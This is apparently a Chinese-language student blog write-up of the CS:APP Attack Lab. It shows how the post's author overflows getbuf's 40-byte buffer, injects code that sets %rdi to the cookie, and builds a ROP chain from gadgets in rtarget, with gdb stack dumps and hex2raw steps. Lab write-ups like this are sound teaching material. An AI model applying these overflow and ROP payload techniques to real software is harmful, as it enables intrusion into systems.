[CS:APP] Attack Lab

Part 1:缓冲区溢出攻击

Phase 1

[--------------------------code-----------------------]
   0x4017a5:    nop
   0x4017a6:    nop
   0x4017a7:    nop
=> 0x4017a8 <getbuf>:   sub    $0x28,%rsp
   0x4017ac <getbuf+4>: mov    %rsp,%rdi
   0x4017af <getbuf+7>: callq  0x401a40 <Gets>
   0x4017b4 <getbuf+12>:    mov    $0x1,%eax
   0x4017b9 <getbuf+17>:    add    $0x28,%rsp

buf开创0x28 = 40 个字节
随便填充40个字符

Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>: sub    $0x8,%rsp
   0x00000000004017c4 <+4>: movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:    mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:    callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:    mov    $0x1,%edi
   0x00000000004017dd <+29>:    callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:    mov    $0x0,%edi
   0x00000000004017e7 <+39>:    callq  0x400e40 <exit@plt>
End of assembler dump.

touch1的地址是0x4017c0
因为是little endian的机器所以将
c0 17 40 00 00 00 00 00
用hex2raw转化为字符,添加到40个a的后面就行了

结果:

[-----------stack--------------]
0000| 0x5561dc78 ('a' <repeats 40 times>, "\300\027@")
0008| 0x5561dc80 ('a' <repeats 32 times>, "\300\027@")
0016| 0x5561dc88 ('a' <repeats 24 times>, "\300\027@")
0024| 0x5561dc90 ('a' <repeats 16 times>, "\300\027@")
0032| 0x5561dc98 ("aaaaaaaa\300\027@")
0040| 0x5561dca0 --> 0x4017c0 (<touch1>:    sub    $0x8,%rsp)
0048| 0x5561dca8 --> 0x0 
0056| 0x5561dcb0 --> 0x401f24 (<launch+112>:    cmpl   $0x0,0x2025bd(%rip)        # 0x6044e8 <is_checker>)

Phase 2

touch2 有参数传递,要改变寄存器rdi里存放的值

结果:

[---------------------stack---------------------------]
0000| 0x5561dc78 ('a' <repeats 40 times>, "\260\334aU")
0008| 0x5561dc80 ('a' <repeats 32 times>, "\260\334aU")
0016| 0x5561dc88 ('a' <repeats 24 times>, "\260\334aU")
0024| 0x5561dc90 ('a' <repeats 16 times>, "\260\334aU")
0032| 0x5561dc98 ("aaaaaaaa\260\334aU")
0040| 0x5561dca0 --> 0x5561dcb0 --> 0xc359b997fac7c748 
0048| 0x5561dca8 --> 0x4017ec (<touch2>:    sub    $0x8,%rsp)
0056| 0x5561dcb0 --> 0xc359b997fac7c748 

依旧是40个a,接着是把返回的地址改为调用0x5561dcb0(修改寄存器的代码),修改0x5561dca8的值为调用touch2,修改0x5561dcb0的值为调用添加的代码code
栈的指针指向0040调用完code之后,刚好向下移动到0048调用touch2

code代码:

mov $0x59b997fa,%rdi
ret

编译:

gcc -c code.s
objdump -d code.o > code.d
./hex2raw  -i code.d > code.r

看到网上的码还有一步pushq $0x004017ec (touch2的地址)
结果:
ret时返回到0x5561dc78(%rsp的地址?)执行注入的代码,然后直接调用touch2了

[-----------------------stack-------------------------]
0000| 0x5561dc78 --> 0x6859b997fac7c748 
0008| 0x5561dc80 --> 0x303030c3004017ec 
0016| 0x5561dc88 ('0' <repeats 24 times>, "x\334aU")
0024| 0x5561dc90 ('0' <repeats 16 times>, "x\334aU")
0032| 0x5561dc98 ("00000000x\334aU")
0040| 0x5561dca0 --> 0x5561dc78 --> 0x6859b997fac7c748 
0048| 0x5561dca8 --> 0x0 
0056| 0x5561dcb0 --> 0x401f24 (<launch+112>:    cmpl   $0x0,0x2025bd(%rip)        # 0x6044e8 <is_checker>)

Phase 3

touch3参数是string
将str存到0x5561dcb8的地址上
code将str拷贝到%rdi
调用同上

[-----------------------stack-------------------------]
0000| 0x5561dc78 ('a' <repeats 40 times>)
0008| 0x5561dc80 ('a' <repeats 32 times>)
0016| 0x5561dc88 ('a' <repeats 24 times>)
0024| 0x5561dc90 ('a' <repeats 16 times>)
0032| 0x5561dc98 ("aaaaaaaa")
0040| 0x5561dca0 --> 0x401900 (<touch3+6>:  (bad))
0048| 0x5561dca8 --> 0x9 ('\t')
0056| 0x5561dcb0 --> 0x401f24 (<launch+112>:    )

str是cookie的地址值用ascii转为字符串
(0x)59b997fa
对应35 39 62 39 39 37 66 61 00(字符串后面补空字符’\0’)

code代码:

mov $0x5561dcb8,%rdi
ret

Part2: ROP

Phase 4

看了看文档,解释的很清楚w
利用已经有的代码片段gadget,通过汇编的解释,来调用自己想要执行的程序

第一个程序还是调用touch2
要将cookiee放入rdi之中
但pop %rdi(5f)的指令很少出现
所以转换为

popq %rax
movq %rax %rdi
ret

根据表里的编码
popq %rax的编码是58
movq %rax %rdi的编码是48 89 c7

在rtarget.d里找到这两个代码片段

gadget1
00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq   

地址为0x4019ab

gadget2
00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq  

00000000004019ae <setval_237>:
  4019ae:   c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)
  4019b4:   c3                      retq   

273的地址是0x4019a2

转化为little endian的形式然后就是合并,转换为字符串注入

cat offeset gadget1 cookiee gadget2 touch2 > code
./hex2raw -i code > code.r

然后就成功了

[---------------stack----------------------]
0000| 0x7ffffffee8a0 ('a' <repeats 40 times>, "\253\031@")
0008| 0x7ffffffee8a8 ('a' <repeats 32 times>, "\253\031@")
0016| 0x7ffffffee8b0 ('a' <repeats 24 times>, "\253\031@")
0024| 0x7ffffffee8b8 ('a' <repeats 16 times>, "\253\031@")
0032| 0x7ffffffee8c0 ("aaaaaaaa\253\031@")
0040| 0x7ffffffee8c8 --> 0x4019ab (<addval_219+4>:  pop    %rax)
0048| 0x7ffffffee8d0 --> 0x59b997fa 
0056| 0x7ffffffee8d8 --> 0x4019a2 (<addval_273+2>:  mov    %rax,%rdi)
0064| 0x7ffffffee8e0 --> 0x4017ec (<touch2>:    sub    $0x8,%rsp)

一开始试了237,但不知道为什么这个返回的时候返回到了别的函数导致segmentation fault

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值